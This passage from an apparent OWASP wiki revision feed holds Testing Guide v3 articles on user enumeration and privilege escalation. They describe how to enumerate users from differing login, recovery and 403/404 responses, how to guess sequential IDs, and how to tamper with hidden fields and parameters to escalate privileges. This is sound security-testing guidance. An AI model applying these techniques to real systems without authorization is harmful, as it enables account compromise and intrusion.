&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password. &lt;br /&gt;
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.&lt;br /&gt;
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue exists because the information released from web application or web server, when we provide a valid username is different than when we use an invalid one.&lt;br /&gt;
&lt;br /&gt;
In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.&lt;br /&gt;
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''HTTP Response message''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for Valid user/right password''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Record the server answer when you submit a valid userID and valid password.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for valid user/wrong password''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
From the browser we will expect message similar to the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AuthenticationFailed.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or something like:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:NoConfFound.jpg]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
again any message that reveal the existence of user, for istance message similar to:&amp;lt;br&amp;gt; 	&lt;br /&gt;
 Login for User foo: invalid password&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for a nonexistent username''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
If we enter a nonexistent userID, we can receive a message similar to:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Userisnotactive.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
or message like the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
 Login failed for User foo: invalid Account&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 requests. For example: &lt;br /&gt;
* Client request: Valid user/wrong password --&amp;gt; Server answer:'The password is not correct'&lt;br /&gt;
* Client request: Wrong user/wrong password --&amp;gt; Server answer:'User not recognized'&lt;br /&gt;
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer.&amp;lt;br&amp;gt;&lt;br /&gt;
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Other way to enumerate users''' &amp;lt;br&amp;gt;&lt;br /&gt;
We can enumerate users in other several ways, such as: &amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing the error code received on login pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some web application release a specific error code or message that we can analyze.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing URLs, and URLs redirections'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=baduser&amp;amp;Error=0&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=gooduser&amp;amp;Error=2&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As we can see above, when we provides a userID and password to web application, we see a message indication that an error has occurred in the URL. &lt;br /&gt;
In first case we has provides a bad userID and bad password, in second case instead a good user and bad password, so we can identify a valid userID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- URI Probing'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sometime a web server responds differently if receive a request for an existing directories or not. For instance in some portals every users is associated with a directory, if we try to access to an exists directory we could be receive a web server error.&lt;br /&gt;
A very common errors that we can receive from web server is:&amp;lt;br&amp;gt;&lt;br /&gt;
   403 Forbidden error code &lt;br /&gt;
and &amp;lt;br&amp;gt;&lt;br /&gt;
   404 Not found error code&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/account1 - we receive from web server: 403 Forbidden &lt;br /&gt;
 http://www.foo.com/account2 - we receive from web server: 404 file Not Found&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In first case the user exist, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.&lt;br /&gt;
Collecting this information we can enumerate the users.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing Web page Title'''&amp;lt;br&amp;gt;&lt;br /&gt;
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.&lt;br /&gt;
For instance is common change a web title if we cannot authenticate to an application and receive a very clearly message similar to:&lt;br /&gt;
 Invalid user&lt;br /&gt;
 Invalid authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing message received from recovery facilities'''&amp;lt;br&amp;gt; &lt;br /&gt;
When we use a recovery facilities the applications that is vulnerable could be return a message that reveal if a username exist or not.&lt;br /&gt;
&lt;br /&gt;
For example, message similar to the following:&amp;lt;br&amp;gt;&lt;br /&gt;
 Invalid username: e-mail address are not valid or The specified user was not found&lt;br /&gt;
&lt;br /&gt;
 Valid username: Your recovery password has been successfully sent&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''-Friendly 404 Error Message'''&amp;lt;br&amp;gt;&lt;br /&gt;
Not always when we made a request for a user within the directory that is sure to not exist we receive 404 error code, we receive instead “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Guessing Users'''&amp;lt;br&amp;gt;&lt;br /&gt;
In some case the userIDs are created with specific policies of administrator or company.  &lt;br /&gt;
For example we can view a users with a userID created in sequential order:&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000100&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000101&amp;lt;br&amp;gt;&lt;br /&gt;
		…. &amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the username are created with a REALM alias and then a sequential numbers:&amp;lt;br&amp;gt;&lt;br /&gt;
		R1001 – user 001 for REALM1&amp;lt;br&amp;gt;&lt;br /&gt;
	 	R2001 – user 001 for REALM2&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern. &lt;br /&gt;
In the above sample we can create simple shell scripts that compose a UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.&lt;br /&gt;
To create a script we can use also Perl and CURL &lt;br /&gt;
  &lt;br /&gt;
Again, we can guess a users from the information received from an LDAP query or from a google information gathering for example from a specific domain.&lt;br /&gt;
Google for example can helps to find domain users through a specific queries or through a simple shell scripts or tools.&lt;br /&gt;
&lt;br /&gt;
For other information about guessing userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Authentication error messages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and  Gray Box testing are the same concept based on the analysis of messages or error codes received from web application.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The application should answer in the same manner for every failed attempt of authentication.&amp;lt;br&amp;gt;&lt;br /&gt;
For Example: &amp;lt;br&amp;gt;&lt;br /&gt;
 Credentials submitted are not valid&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
* CURL: http://curl.haxx.se/&lt;br /&gt;
* PERL: http://www.perl.org&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38758</id>
		<title>Testing for User Enumeration and Guessable User Account (OWASP-AT-002)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)&amp;diff=38758"/>
				<updated>2008-09-07T13:30:35Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The scope of this test is to verify if it is possible to collect a set of valid usernames by interacting with the authentication mechanism of the application. This test will be useful for the brute force testing, in which we verify if, given a valid username, it is possible to find the corresponding password. &lt;br /&gt;
Often, web applications reveal when a username exists on system, either as a consequence of a misconfiguration or as a design decision. For example, sometimes, when we submit wrong credentials, we receive a message that states that either the username is present on the system or the provided password is wrong.&lt;br /&gt;
The information obtained can be used by an attacker to gain a list of users on system. This information can be used to attack the web application, for example, through a brute force or default username/password attack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
The tester should interact with the authentication mechanism of the application to understand if sending particular requests causes the application to answer in different manners. This issue can be exists because the information released from web application or web server, when we provide a valid username is different than we use an invalid usename.&lt;br /&gt;
&lt;br /&gt;
In some cases, we can receive a message that reveals if the provided credentials are wrong because an invalid username or an invalid password was used. Sometimes, we can enumerate the existing users by sending a username and an empty password. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
In a black box testing, we know nothing about the specific application, username, application logic and error messages on login page, or password recovery facilities.&lt;br /&gt;
If the applications is vulnerable, we receive a response message that reveals, directly or indirectly, some information useful for enumerating users. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''HTTP Response message''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for Valid user/right password''' &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Record the server answer when you submit a valid userID and valid password.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Using WebScarab, notice the information retrieved from this successful authentication (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for valid user/wrong password''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert a valid userID and a wrong password and record the error message generated by the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
From the browser we will expect message similar to the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:AuthenticationFailed.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or something like:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:NoConfFound.jpg]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
again any message that reveal the existence of user, for istance message similar to:&amp;lt;br&amp;gt; 	&lt;br /&gt;
 Login for User foo: invalid password&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using WebScarab, notice the information retrieved from this unsuccessful authentication attempt (HTTP 200 Response, length of the response).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Testing for a nonexistent username''' &amp;lt;br&amp;gt;&lt;br /&gt;
Now, the tester should try to insert an invalid userID and a wrong password and record the server answer (you should be confident that the username is not valid in the application). Record the error message and the server answer.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
If we enter a nonexistent userID, we can receive a message similar to:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Userisnotactive.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
or message like the following one:&amp;lt;br&amp;gt;&lt;br /&gt;
 Login failed for User foo: invalid Account&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Generally the application should respond with the same error message and length to the different wrong requests. If you notice that the responses are not the same, you should investigate and find out the key that creates a difference between the 2 requests. For example: &lt;br /&gt;
* Client request: Valid user/wrong password --&amp;gt; Server answer:'The password is not correct'&lt;br /&gt;
* Client request: Wrong user/wrong password --&amp;gt; Server answer:'User not recognized'&lt;br /&gt;
The above responses let the client understand that for the first request we have a valid user name. So we can interact with the application requesting a set of possible userIDs and observing the answer.&amp;lt;br&amp;gt;&lt;br /&gt;
Looking at the second server response, we understand in the same way that we don't hold a valid username. So we can interact in the same manner and create a list of valid userID looking at the server answers.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Other way to enumerate users''' &amp;lt;br&amp;gt;&lt;br /&gt;
We can enumerate users in other several ways, such as: &amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing the error code received on login pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Some web application release a specific error code or message that we can analyze.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing URLs, and URLs redirections'''&amp;lt;br&amp;gt;&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=baduser&amp;amp;Error=0&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/err.jsp?User=gooduser&amp;amp;Error=2&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
As we can see above, when we provides a userID and password to web application, we see a message indication that an error has occurred in the URL. &lt;br /&gt;
In first case we has provides a bad userID and bad password, in second case instead a good user and bad password, so we can identify a valid userID.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- URI Probing'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sometime a web server responds differently if receive a request for an existing directories or not. For instance in some portals every users is associated with a directory, if we try to access to an exists directory we could be receive a web server error.&lt;br /&gt;
A very common errors that we can receive from web server is:&amp;lt;br&amp;gt;&lt;br /&gt;
   403 Forbidden error code &lt;br /&gt;
and &amp;lt;br&amp;gt;&lt;br /&gt;
   404 Not found error code&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example&amp;lt;br&amp;gt;&lt;br /&gt;
 http://www.foo.com/account1 - we receive from web server: 403 Forbidden &lt;br /&gt;
 http://www.foo.com/account2 - we receive from web server: 404 file Not Found&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In first case the user exist, but we cannot view the web page, in second case instead the user “account2” doesn’t exist.&lt;br /&gt;
Collecting this information we can enumerate the users.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''- Analyzing Web page Title'''&amp;lt;br&amp;gt;&lt;br /&gt;
We can receive useful information on Title of web page, where we can obtain a specific error code or messages that reveal if the problems are on username or password.&lt;br /&gt;
For instance is common change a web title if we cannot authenticate to an application and receive a very clearly message similar to:&lt;br /&gt;
 Invalid user&lt;br /&gt;
 Invalid authentication&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''- Analyzing message received from recovery facilities'''&amp;lt;br&amp;gt; &lt;br /&gt;
When we use a recovery facilities the applications that is vulnerable could be return a message that reveal if a username exist or not.&lt;br /&gt;
&lt;br /&gt;
For example, message similar to the following:&amp;lt;br&amp;gt;&lt;br /&gt;
 Invalid username: e-mail address are not valid or The specified user was not found&lt;br /&gt;
&lt;br /&gt;
 Valid username: Your recovery password has been successfully sent&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''-Friendly 404 Error Message'''&amp;lt;br&amp;gt;&lt;br /&gt;
Not always when we made a request for a user within the directory that is sure to not exist we receive 404 error code, we receive instead “200 ok” with an image, in this case we can assume that when we receive the specific image the users doesn’t exist. This logic can be applied to other web server response; the trick is a good analysis of web server and web application messages.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Guessing Users'''&amp;lt;br&amp;gt;&lt;br /&gt;
In some case the userIDs are created with specific policies of administrator or company.  &lt;br /&gt;
For example we can view a users with a userID created in sequential order:&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000100&amp;lt;br&amp;gt;&lt;br /&gt;
		CN000101&amp;lt;br&amp;gt;&lt;br /&gt;
		…. &amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the username are created with a REALM alias and then a sequential numbers:&amp;lt;br&amp;gt;&lt;br /&gt;
		R1001 – user 001 for REALM1&amp;lt;br&amp;gt;&lt;br /&gt;
	 	R2001 – user 001 for REALM2&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Other possibilities are userIDs associated with credit card numbers, or in general a numbers with a pattern. &lt;br /&gt;
In the above sample we can create simple shell scripts that compose a UserIDs and submit a request with tool like wget to automate a web query to discern valid userIDs.&lt;br /&gt;
To create a script we can use also Perl and CURL &lt;br /&gt;
  &lt;br /&gt;
Again, we can guess a users from the information received from an LDAP query or from a google information gathering for example from a specific domain.&lt;br /&gt;
Google for example can helps to find domain users through a specific queries or through a simple shell scripts or tools.&lt;br /&gt;
&lt;br /&gt;
For other information about guessing userIDs see next paragraph 4.5.3 Testing for Guessable (Dictionary) User Account.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Attention:''' by enumerating user accounts, you risk to lock out accounts after a predefined number of failed probes (based on application policy). Also, sometimes, our IP address can be banned by dynamic rules on the application firewall.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Authentication error messages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify that the application answers in the same manner for every client request that produces a failed authentication. For this issue the Black Box testing and  Gray Box testing are the same concept based on the analysis of messages or error codes received from web application.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The application should answer in the same manner for every failed attempt of authentication.&amp;lt;br&amp;gt;&lt;br /&gt;
For Example: &amp;lt;br&amp;gt;&lt;br /&gt;
 Credentials submitted are not valid&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* WebScarab: [[OWASP_WebScarab_Project]]&lt;br /&gt;
* CURL: http://curl.haxx.se/&lt;br /&gt;
* PERL: http://www.perl.org&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Privilege_escalation_(OTG-AUTHZ-003)&amp;diff=38739</id>
		<title>Testing for Privilege escalation (OTG-AUTHZ-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Privilege_escalation_(OTG-AUTHZ-003)&amp;diff=38739"/>
				<updated>2008-09-07T10:36:43Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges/roles inside the application in ways that could allow privilege escalation attacks.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed and such elevation/changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.&lt;br /&gt;
&lt;br /&gt;
The degree of escalation depends on which privileges the attacker is authorized to possess and which privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.&lt;br /&gt;
&lt;br /&gt;
Usually, we refer to ''vertical escalation'' when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to ''horizontal escalation'' when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for role/privilege manipulation''' &amp;lt;br&amp;gt;&lt;br /&gt;
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), to receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such function as another user in order to verify, for example, if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
The following HTTP POST allows the user that belongs to grp001 to access order #0001:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 POST /user/viewOrder.jsp HTTP/1.1&lt;br /&gt;
 Host: www.example.com&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
 gruppoID=grp001&amp;amp;ordineID=0001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify if a user that does not belong to grp001 can modify the value of the parameters ‘gruppoID’ and ‘ordineID’ to gain access to that privileged data.&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.&lt;br /&gt;
&lt;br /&gt;
 HTTP/1.1 200 OK&lt;br /&gt;
 Server: Netscape-Enterprise/6.0&lt;br /&gt;
 Date: Wed, 1 Apr 2006 13:51:20 GMT&lt;br /&gt;
 Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com &lt;br /&gt;
 Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com&lt;br /&gt;
 Cache-Control: no-cache&lt;br /&gt;
 Pragma: No-cache &lt;br /&gt;
 Content-length: 247&lt;br /&gt;
 Content-Type: text/html&lt;br /&gt;
 Expires: Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;
 Connection: close&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;form  name=“autoriz&amp;quot; method=&amp;quot;POST&amp;quot; action = “visual.jsp&amp;quot;&amp;gt; &lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;profilo&amp;quot; value=&amp;quot;SistemiInf1&amp;quot;&amp;gt;                                         &lt;br /&gt;
 &amp;lt;body onload=&amp;quot;document.forms.autoriz.submit()&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;/td&amp;gt;&lt;br /&gt;
 &amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What if the tester modifies the value of the variable &amp;quot;profilo&amp;quot; to “SistemiInf9”? Is it possible to become administrator?&lt;br /&gt;
&lt;br /&gt;
For example:&amp;lt;br&amp;gt;&lt;br /&gt;
In an environment in which the server sends an error message contained as value in a specific parameter in a set of answer's codes, as the following:&lt;br /&gt;
&lt;br /&gt;
 @0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValido`-1`0`0` Notifications`0`0`3`Command  Manager`0`0`0` StateToolsBar`0`0`0`    &lt;br /&gt;
 StateExecToolBar`0`0`0`FlagsToolBar`0&lt;br /&gt;
&lt;br /&gt;
The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.&lt;br /&gt;
In this condition, verify that it is not possible to escalate privileges, by modifying the parameter values.&lt;br /&gt;
In this particular example, by modifying the `PVValido` value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The tester should verify the execution of successful privilege escalation attempts.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikipedia: http://en.wikipedia.org/wiki/Privilege_escalation&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP WebScarab: [[OWASP_WebScarab_Project]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38738</id>
		<title>OWASP Testing Project v3 Review Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=38738"/>
				<updated>2008-09-07T10:36:17Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''This page track all the update to the Testing Guide v3 during the Reviewing phase.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In particular the focus is:&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the content of each article&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the english sintax&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;attacker&amp;quot;, better &amp;quot;tester&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;we describe&amp;quot;, but &amp;quot;it is described&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Official Testing Guide Reviewers are:&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
* Kevin R.Fuller&lt;br /&gt;
* if you want to review it add your name please and keep track of updating&lt;br /&gt;
&lt;br /&gt;
'''Nam Review:'''&lt;br /&gt;
----&lt;br /&gt;
